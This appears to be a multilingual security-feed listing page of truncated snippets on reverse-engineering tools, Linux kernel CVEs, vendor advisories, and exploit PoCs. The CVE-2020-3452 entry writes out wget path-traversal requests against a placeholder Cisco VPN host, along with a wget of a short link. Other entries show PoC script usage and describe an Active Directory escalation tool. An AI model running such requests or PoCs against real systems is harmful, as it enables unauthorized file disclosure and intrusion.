angr

angr angr ist ein plattformunabhängiges Binary-Analyse-Framework. Es wird Ihnen präsentiert vom Computer Security Lab der UC Santa Barbara, SEFCOM an der Arizona State University, ihrem zugehörigen CTF-Team, Shellphish, der Open-Source-Community und @rhelmot. Projektlinks Homepage: https://angr.i...

CVE-2026-80579

A flaw was found in the Linux kernel's fbdev component. A local user could exploit a use-after-free vulnerability by manipulating video modes. When a mode is deleted, the fbinfo-mode pointer might not be cleared, leading to a stale pointer dereference during subsequent system file system sysfs...

CVE-2026-80574

A flaw was found in the Linux kernel's focaltech input driver. This vulnerability occurs in the focaltechprocessrelpacket function, where incorrect handling of input can lead to an array out-of-bounds write. This memory corruption issue could potentially allow an attacker to cause system...

CVE-2026-80551

A flaw was found in the Linux kernel's s390/vfioccw component. This vulnerability arises because the system does not ensure that the address in the first Indirect Data Address Word IDAW remains constant between reads. An attacker could potentially exploit this to cause the system to operate with ...

pwndbg

pwndbg pwndbg /paʊnˈdiˌbʌɡ/ is a GDB and LLDB plug-in that makes debugging suck less, with a focus on features needed by low-level software developers, hardware hackers, reverse-engineers and exploit developers. It has a boatload of features, see our Features page and CHEATSHEET feel free to prin...

CVE-2020-3452

CVE-2020-3452 CVSS 7.5 base wget https://bit.ly/32Q065t wget https://vpn.target.local:443/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portalinc.lua&default-language&lang=../ wget...

SUSE-SU-2026:2641-1 Security update for apache2

This update for apache2 fixes the following issues Update to 2.4.66 jscPED-16334: Security issues: - CVE-2026-23918: http2: double free and possible RCE on early reset bsc1263957. - CVE-2026-24072: modrewrite elevation of privileges via apexpr bsc1263935. - CVE-2026-28780: heap buffer overflow in...

CVE-2019-5418

CVE-2019-5418 - Divulgazione del contenuto di file su Rails EDIT : questa CVE può portare a un'esecuzione remota di codice, maggiori info: https://github.com/mpgn/Rails-doubletap-RCE Esiste una possibile vulnerabilità di divulgazione del contenuto di file in Action View. Header Accept appositamen...

CVE-2019-3799

CVE-2019-3799 - Spring-Cloud-Config-Server: attraversamento di directory Spring Cloud Config, versioni 2.1.x precedenti alla 2.1.2, versioni 2.0.x precedenti alla 2.0.4, versioni 1.4.x precedenti alla 1.4.6 e versioni precedenti non supportate consentono alle applicazioni di servire file di...

USN-8686-1: openCryptoki vulnerabilities

It was discovered that primitive decoders in openCryptoki produced integer underflows when the encoded length was zero. An attacker could possibly use this issue to trigger out-of-bounds reads. CVE-2026-40253 It was discovered that openCryptoki incorrectly handled symlinks. An attacker in the...

CVE-2018-19276

CVE-2018-19276 OpenMRS Deserializzazione non sicura di oggetti RCE Da https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 La deserializzazione non sicura di oggetti consente l'esecuzione arbitraria di codice senza bisogno di accedere. Le restrizioni IP sul modulo...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 gefunden von Red Timmy Security Technische Analyse: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf Sicherheitshinweis: unbekannt Proof Of Concept: 1. Entfernen der...

ADCSPwn

ADCSPwn Uma ferramenta para escalar privilégios em uma rede Active Directory, coagindo a autenticação de contas de máquinas Petitpotam e retransmitindo para o serviço de certificados. Uso Execute ADCSPwn na sua rede alvo. root@kitploit: Author: @batsec - MDSec ActiveBreach Contributor: @Flangvik ...

CVE-2026-64896

Johnson Controls T2000 (before 31.6 ) is affected by a Debug and Test Interface with Improper Access Control vulnerability, described as an open debug port that allows an attacker to access functionality not properly constrained by ACLs. The CNA-assigned CVSS 4.0 score is 5.2 (MEDIUM) with a phys...

EUVD-2026-67140

Debug and Test Interface With Improper Access Control vulnerability in Johnson Controls T2000 allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects T2000: before 31.6...

CVE-2026-64896 T2000 open debug port

Debug and Test Interface With Improper Access Control vulnerability in Johnson Controls T2000 allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects T2000: before 31.6...

nvidia-gpu-security-poc

NVIDIA GPU-Treiber — zwei Findings, die NVIDIA als erwartetes Verhalten geschlossen hat Proof-of-Concept-Code und rohe Beweise für zwei Findings im NVIDIA Linux GPU-Treiber, beide über NVIDIAs VDP gemeldet und beide von NVIDIA als beabsichtigt/erwartetes Verhalten geschlossen. Veröffentlicht, dam...

the-book-of-secret-knowledge

"La conoscenza è potente, fai attenzione a come la usi! " Una raccolta di liste stimolanti, manuali, cheat sheet, blog, trucchi, one-liner, strumenti CLI/web e molto altro. 📔 Cos'è? Questo repository è una raccolta di vari materiali e strumenti che utilizzo quotidianamente nel mio lavoro. Contien...

CVE-2013-3651

CVE-2013-3651 PoC - EC-CUBE 2 Utilizzo Requisiti Python 3 Esecuzione root@kitploit: $ python poccve20133651.py - es. $ python poccve20133651.py http://127.0.0.1:9000/ Risultato: Vulnerabile! PoC Vulnerabilità | Costruzione e rinnovo di siti e-commerce con «EC Open Platform EC-CUBE»...

Security update for texlive

This update for texlive fixes the following issue: CVE-2026-63729: use-after-free in synctexparser.c in TeX Live bsc1272432. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zypper patch". Alternatively you can run the comman...